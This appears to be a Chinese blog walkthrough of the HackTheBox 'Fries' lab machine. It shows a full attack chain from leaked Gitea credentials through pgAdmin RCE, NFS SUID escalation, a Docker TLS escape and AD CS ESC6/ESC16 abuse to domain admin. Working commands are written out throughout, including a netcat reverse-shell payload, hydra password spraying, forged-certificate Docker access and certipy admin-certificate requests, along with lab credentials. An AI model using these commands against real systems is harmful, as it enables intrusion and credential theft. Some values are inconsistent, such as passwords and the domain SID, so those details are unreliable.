跳到主要内容
HTB Fries 靶机实战:从 Gitea 凭据泄露到 AD CS 证书攻击 | 极客日志
Python
HTB Fries 靶机实战:从 Gitea 凭据泄露到 AD CS 证书攻击 综述由AI生成 记录了 HTB Fries 靶机的完整渗透过程。攻击始于 Gitea 仓库中泄露的 Docker 配置及数据库凭据,利用 pgAdmin 4 的 CVE-2025-2945 漏洞获取容器内权限。随后通过 SSH 爆破获得 svc 用户,利用 NFS 共享和 SUID 机制提权至 barman 用户。接着通过窃取 Docker TLS 证书伪造客户端证书,实现容器逃逸并获取 root 权限。最后利用 PWM 配置漏洞劫持 LDAP 认证,结合 BloodHound 分析域结构,通过 AD CS 的 ESC6 和 ESC16 漏洞组合,利用 GMSA 权限申请管理员证书,最终获取域控完全控制权。
小熊软糖 发布于 2026/3/24 更新于 2026/5/25 24 浏览靶机概览
HTB Fries 是一台难度评级为 HARD 的 Windows/Linux 混合靶机,主要围绕 Web 应用安全、容器化环境渗透、Active Directory 证书服务攻击与复杂权限提升链展开。该靶机完整展示了从代码泄露到容器逃逸,再到 AD CS 证书滥用实现域控完全控制的完整攻击路径,从初始信息收集到最终域管理员权限获取,为渗透测试人员掌握复杂企业环境下的多层级攻击技术提供了深入的实战演练。
信息收集
端口扫描
rustscan -a 10.10.11.96 --ulimit 5000
使用 rustscan 进行快速端口扫描,发现多个开放端口:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 62
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
443/tcp open https syn-ack ttl 62
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
DNS 解析配置
echo "10.10.11.96 fries.htb dc01.fries.htb" >> /etc/hosts
访问 Web 应用
http://fries.htb
https://fries.htb
使用提供的凭证 [email protected] / D4LE11maan!! 登录。
访问 Configuration Manager 和 Password Management System (PWM)。
密码自助服务系统 PWM 在尝试连接 LDAP 时出现证书信任问题,Configuration Manager 需要有效凭证,初始凭据在这里均无效,但是这些错误信息暴露了很有价值的内部信息,对于后续行动来说非常有利。
子域名枚举
使用 FFuF 枚举子域名
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -H "Host: FUZZ.fries.htb" -u http://fries.htb -fs 154
发现子域:code.fries.htb
访问 Gitea 实例
使用初始凭据 [email protected] / D4LE11maan!! 成功登录。
登录后显示了多条推送记录,查看 Docker Compose 配置文件 docker-compose.yml。
数据库凭据泄漏
敏感数据泄露:
SECRET_KEY=y0st528wn1idjk3b9a
信息收集汇总 类型 地址 说明 主域 fries.htb 主要目标域名 子域 code.fries.htb Gitea 代码仓库 子域 dc01.fries.htb 域控制器 子域 fries.htb/pwm 密码自助服务系统
服务 地址 端口 说明 PWM 系统 fries.htb/pwm 未知 密码自助服务 Git 服务 code.fries.htb 未知 代码仓库 LDAPS dc01.fries.htb 636 域控制器 LDAPS Web 应用 内部网络 5000 Docker 容器服务 PostgreSQL 172.18.0.3 5432 数据库服务
用户名 密码/密钥 目标服务 权限级别 root PsqlR00tpasS110A PostgreSQL 172.18.0.3:5432 超级用户 SECRET_KEY y0st528wn1idjk3b9a Web 应用会话加密 系统级 svc_infra 未知 Active Directory 域账户
安全教训 将包含密码的 .env 文件提交到了仓库,虽然之后删除了,但凭证依旧在推送记录里。凭证泄露问题直接导致了整个系统沦陷。世界上有些东西是无法 git reset --hard 的,比如推送记录里的密码。
初始访问
CVE-2025-2945 pgAdmin 4(查询工具和云部署模块)中存在一个远程代码执行安全漏洞。该漏洞与两个 POST 端点相关:/sqleditor/query_tool/download 中的 query_committed 参数,以及 /cloud/deploy 中的 high_availability 参数。这些参数被不安全地传递给 Python 的 eval() 函数,从而导致任意代码执行。
此漏洞影响的 pgAdmin 4 版本为:9.2 之前的所有版本。
利用 pgAdmin 漏洞 使用公开 PoC 执行命令注入,获取反向 Shell:
python3 exp.py --target-url http://db-mgmt05.fries.htb --username [email protected] --password 'D4LE11maan!!' --db-name ps_db --db-user root --db-pass 'PsqLR00tpaSS11' --payload "__import__('os').system('rm /tmp/A033;mkfifo /tmp/A033;cat /tmp/A033|/bin/bash -i 2>&1|nc 10.10.16.28 4033 >/tmp/A033')"
横向移动
环境变量泄露凭据
密码喷射攻击 cat > users.txt << "EOF"
root pgadmin pgadmin4 svc_infra svc admin administrator guest postfix vmail ftp sshd ntp
EOF
cat > passwords.txt << "EOF"
D4LE11maan!! PsqlR00tpasS110A y0st528wn1idjk3b9a Friesf00Ds2025!!
EOF
hydra -L users.txt -P passwords.txt ssh://10.10.11.96 -vV -t 6 -I -f
用户:svc
密码:Friesf00Ds2025!!
SSH 登录 svc@web:~$ sudo -l
[sudo ] password for svc: Sorry, user svc may not run sudo on web.
svc@web:~$ id
uid=1000(svc) gid=1000(svc) groups =1000(svc)
svc@web:~$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Nov 29 04:27 /var/run/docker.sock
svc@web:~$ ps aux | grep dockerd
root 923 0.0 2.7 1955936 79588 ? Ssl 04:27 0:09 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
svc 无 sudo 权限,发现 Docker socket 存在,Docker 守护进程以最高权限运行,并且启用 TLS 证书加密验证,配有授权插件进行权限控制,双重访问方式「本地 Socket + 远程加密端口」。
扫描内部网络 python3 -c "import socket; services={22:'SSH', 80:'HTTP', 111:'RPC', 443:'HTTPS', 2049:'NFS', 3000:'Node.js', 8443:'HTTPS-Alt'}; [print(f'Port {p} ({services.get(p, \"Unknown\")}) - Open') for p in [22,80,111,443,2049,3000,8443] if socket.socket().connect_ex(('172.18.0.1', p)) == 0]"
权限提升
发现 NFS 共享 svc@web:~$ showmount -e 172.18.0.1
Export list for 172.18.0.1:
/srv/web.fries.htb *
NFS 可读写。当在客户端操作 NFS 文件时,服务端只看客户端的 UID 和 GID,这是否是一个权限提升的路径?我们查看一下其他用户的 UID 和 GID。
用户名 UID GID 目录 Shell 利用价值 root 0 0 /root /bin/bash 目标 svc 1000 1000 /home/svc /bin/bash 当前用户 barman 117 120 /var/lib/barman /bin/bash 可能有用
攻击链 现在有 NFS 内网服务端口,用户的 UID 和 GID,NFS 对所有内网 IP 开放,并且可读写,基于 NFS 的 UID/GID 认证机制,我们可以尝试这样的 SUID 攻击:
Kali (UID 117) → NFS 挂载 → 创建恶意 SUID 文件 → 目标系统执行 → barman 权限
在 Kali 上创建冒充 barman 的用户 A033,用 Chisel 转发 NFS 端口以支持 Kali 正常访问该服务,在 Kali 上挂载 NFS 共享,将 svc 的 bash 复制到共享目录下,使用 A033 的身份复制 svc 的 bash 并赋予完全权限,这时以 svc 运行这个具有 SUID 位的 bash 时就会从 svc 用户转移到 barman 用户。
使用 Chisel 建立隧道 ./chisel server -p 8011 --reverse
./chisel_x86 client 10.10.16.28:8011 R:2049:172.18.0.1:2049 R:111:172.18.0.1:111
SUID 提权 sudo groupadd -g 59605603 A033
sudo useradd -u 117 -g 59605603 -M -s /bin/bash A033
sudo mount -t nfs -o vers=4,port=2049 localhost:/srv/web.fries.htb /mnt/fries
cd /srv/web.fries.htb/shared
cp /bin/bash /srv/web.fries.htb/shared/svc_bash
cp /mnt/fries/shared/svc_bash /mnt/fries/shared/A033_bash
chmod 6777 /mnt/fries/shared/A033_bash
Docker TLS 逃逸
共享目录里的证书文件 A033_bash-5.1$ ls -la
total 20
drw-r-xr-x 5 655 root 4096 May 28 2025 .
drwxr-xr-x 3 root root 4096 May 27 2025 ..
drwxrwx--- 2 root infra managers 4096 May 26 2025 certs
drwxrwxrwx 2 root root 4096 Nov 29 08:30 shared
drwxr----- 5 svc svc 4096 Jun 7 13:30 webroot
A033_bash-5.1$ cd certs
A033_bash-5.1$ ls
ca-key.pem server-cert.pem server-key.pem ca.pem server.csr server-openssl.cnf
A033_bash-5.1$ ls -la
total 32
drwxrwx--- 2 root infra managers 4096 May 26 2025 .
drw-r-xr-x 5 655 root 4096 May 28 2025 ..
-rw-r----- 1 root infra managers 1708 Nov 29 08:40 ca-key.pem
-rw-r----- 1 root infra managers 1111 Nov 29 08:40 ca.pem
-rw-r----- 1 root infra managers 1115 Nov 29 08:40 server-cert.pem
-rw-r----- 1 root infra managers 940 Nov 29 08:40 server.csr
-rw-r----- 1 root infra managers 1704 Nov 29 08:40 server-key.pem
-rw-r----- 1 root infra managers 205 Nov 29 08:40 server-openssl.cnf
通信是加密的,很安全!
只有有证书的人能连接,很安全!
命令还要经过审批,很安全!
但是 barman 属于 infra managers 组,可以读取所有 root 拥有的证书文件,并且 Docker 守护进程现在正以 root 权限运行,barman 可以用 CA 签发伪造证书,绕过 TLS 和插件的认证,提权到 root 掌控整个 WEB 服务器。
生成客户端证书
openssl genrsa -out root-key.pem 2048
openssl req -new -key root-key.pem -out root.csr -subj "/CN=root"
echo "extendedKeyUsage = clientAuth" > ext.cnf
openssl x509 -req -in root.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out root-cert.pem -days 3650 -extfile ext.cnf
使用伪造的证书连接 Docker API docker --tlsverify -H=127.0.0.1:2376 --tlscacert=ca.pem --tlscert=root-cert.pem --tlskey=root-key.pem run -it --privileged -v /:/host fries-web bash
逃逸到主机
User Flag 在 /root/.ssh 中找到私钥 id_rsa,保存并登录
域渗透
破解 PWM 配置密码 在 /root/scripts/pwm/config/ 中找到 PWM 的配置文件 PwmConfiguration.xml,在配置文件中搜索密码相关字段找到:
<property key ="configPasswordHash" > {REDACTED}</property >
john --wordlist=/usr/share/wordlists/rockyou.txt pwm_hash.txt
访问 PWM 配置面板 在 PWM 中使用凭据 [REDACTED] 成功进入 Configuration Editor。
PWM 当前处于配置模式。此模式允许在不先进行 LDAP 目录身份验证的情况下更新配置。此模式下不可使用最终用户功能。
在验证 LDAP 目录设置后,请使用配置管理器限制配置以防止未经授权的更改。限制后,配置仍然可以更改,但必须首先进行 LDAP 目录身份验证。
PWM 系统正处于配置模式,完全开放的配置访问,无需 LDAP 认证即可修改配置。
下载配置文件 在 Configuration Manager 面板可以下载配置文件,这里还有一个有趣的提示:
警告:配置下载文件包含敏感的安全信息,包括安全凭证,请妥善处理。
检索配置文件
<property key="configIsEditable">true</property> #配置模式
<value>{"type":"ldapUser","ldapBase":"CN=svc_infra,CN=Users,DC=fries,DC=htb"}</value> #svc_infra 是 PWM 管理员,也是 LDAP 代理账户
当 PWM 认证用户时,会执行 LDAP bind 操作,LDAP Bind 请求包含:
bind_dn = "CN=用户名,CN=Users,DC=fries,DC=htb"
password = "用户密码"
那么利用配置模式修改 LDAP 设置,使用 Metasploit 的 LDAP 捕获模块,就可以获取到 svc_infra 或其他用户的凭证。
PWM 认证劫持 用户登录 PWM → PWM 向 10.10.16.3:389 发送认证请求 → 真实 LDAP 验证 → 返回结果
用户登录 PWM → PWM 向攻击者 IP:4033 发送认证请求 → 攻击者捕获凭证 → 返回失败
MSF 捕获凭证 use auxiliary/server/capture/ldap
set SRVHOST 0.0.0.0
set SRVPORT 4033
run
┌──(kali㉿Nuii)-[~] └─$ nxc ldap fries.htb -u 'svc_infra' -p '{REDACTED}'
LDAP 10.10.11.96 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb)
LDAP 10.10.11.96 389 DC01 [+] fries.htb\svc_infra:{REDACTED}
捕获到 svc_infra 的密码:[REDACTED]
服务枚举
域控制器:DC01.fries.htb (10.10.11.96)
操作系统:Windows Server 2019 Build 17763
域:fries.htb
有效账户:svc_infra
服务 端口 状态 说明 LDAP 389 成功 可枚举域信息 SMB 445 成功 可访问共享资源 WinRM 5985 失败 权限不足或服务配置限制
LDAP 服务凭证有效,使用 LDAP 凭证进行 BloodHound 信息收集。
BloodHound 信息收集 nxc ldap 10.10.11.96 -u 'svc_infra' -p '{REDACTED}' --bloodhound --collection All --dns-server 10.10.11.96
BloodHound 分析 将收集的数据导入 BloodHound 进行分析。
域:FRIES.HTB
域 SID:S-1-S-21-858338346-3861000516-3975240472
SVC_INFRA 账户有权读取此 GMSA 的密码(ReadGMSAPassword),我们已经有 SVC_INFRA 的有效凭证,可以提取 GMSA_CA_PROD 的密码。GMSA 专为服务设计,具有自动管理的密码,并且此账户用于证书颁发机构操作,可能具有高度特权。
获取 GMSA 哈希 nxc ldap 10.10.11.96 -u svc_infra -p '{REDACTED}' --gmsa
账户:gMSA_CA_prod$
NTLM 哈希:[REDACTED]
SharpHound 信息收集 Invoke-WebRequest -Uri "http://10.10.16.28:8033/SharpHound.exe" -OutFile "SharpHound.exe"
.\\SharpHound.exe -c All --domain fries.htb --domaincontroller 10.10.11.96 --OutputPrefix A033
download A033_20251129060804_BloodHound.zip
BloodHound 分析 将收集的数据导入 BloodHound 进行分析。
从 BloodHound 可以清晰的看到,SVC_INFRA 是 DOMAIN USERS 组的成员,继承该组的所有权限,DOMAIN USERS 对多个证书模板(CLIENTAUTH/EFS/USERSIGNATURE/USER)有 Enroll 权限,意味着 SVC_INFRA 不仅能篡改 CA 策略,还能直接用自己的身份申请这些模板的证书。简单来说,SVC_INFRA 本身就同时握有 GMSA 权限(控制 CA)和证书模板 Enroll 权限(申请证书),相当于'钥匙和锁都在手里',完美具备 AD CS 攻击的能力。
攻击链 SVC_INFRA → ReadGMSAPassword → GMSA_CA_PROD$ (CA 服务账户)
SVC_INFRA → Domain Users 成员 → 证书模板 Enroll 权限
"颁发者"权限(通过控制 CA 服务账户)
"申请者"权限(通过 Domain Users 组成员)
SVC_INFRA 这种既当'颁发者'又当'申请者',这直接造就了 SVC_INFRA 的存在就是漏洞本身。
AD CS 证书攻击(ESC6 + ESC16)
添加 Officer 权限 certipy-ad ca -u '[email protected] ' -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -target DC01.fries.htb -dc-ip 10.10.11.96 -add-officer 'gMSA_CA_prod$'
添加 Officer 权限,获取 CA 管理控制权
将 GMSA_CA_PROD$账户添加为证书颁发机构 (CA) 的管理员
利用 GMSA 账户的哈希认证获取 CA 管理权限,为后续修改 CA 策略做准备
启用 ESC6 .\\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc6
启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
允许在证书请求中通过 SAN(主体替代名称) 字段指定任意 UPN
即使证书模板配置安全,也能通过 SAN 字段为任意用户申请证书
启用 ESC16 .\\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc16
启用 MANAGE_CERTIFICATES 权限
允许 CA 管理员修改任意证书模板的安全描述符 (ACL)
可以给任意账户添加高权限模板的 Enroll 权限
重启证书服务 Stop-Service certsvc -force
Start-Service certsvc
ESC6 和 ESC16 的配置修改需要重启证书服务才能生效
请求管理员证书 certipy-ad req -u '[email protected] ' -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -template User -subject "CN=Administrator,CN=Users,DC=fries,DC=htb" -upn [email protected] -sid 'S-1-5-21-858338346-3861030516-3975240472' -dc-ip 10.10.11.96 -dcom
认证获取管理员哈希 certipy-ad auth -pfx administrator.pfx -username administrator -domain fries.htb -dc-ip 10.10.11.96
使用证书认证获取管理员哈希
将管理员证书转换为可用的 NT 哈希和 Kerberos 票据
成功获取管理员 NTLM 哈希和 Kerberos 票据
Root Flag evil-winrm -u administrator -H {REDACTED} -i 10.10.11.96
在 C:\Users\Administrator\Desktop\ 中找到 root.txt。
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online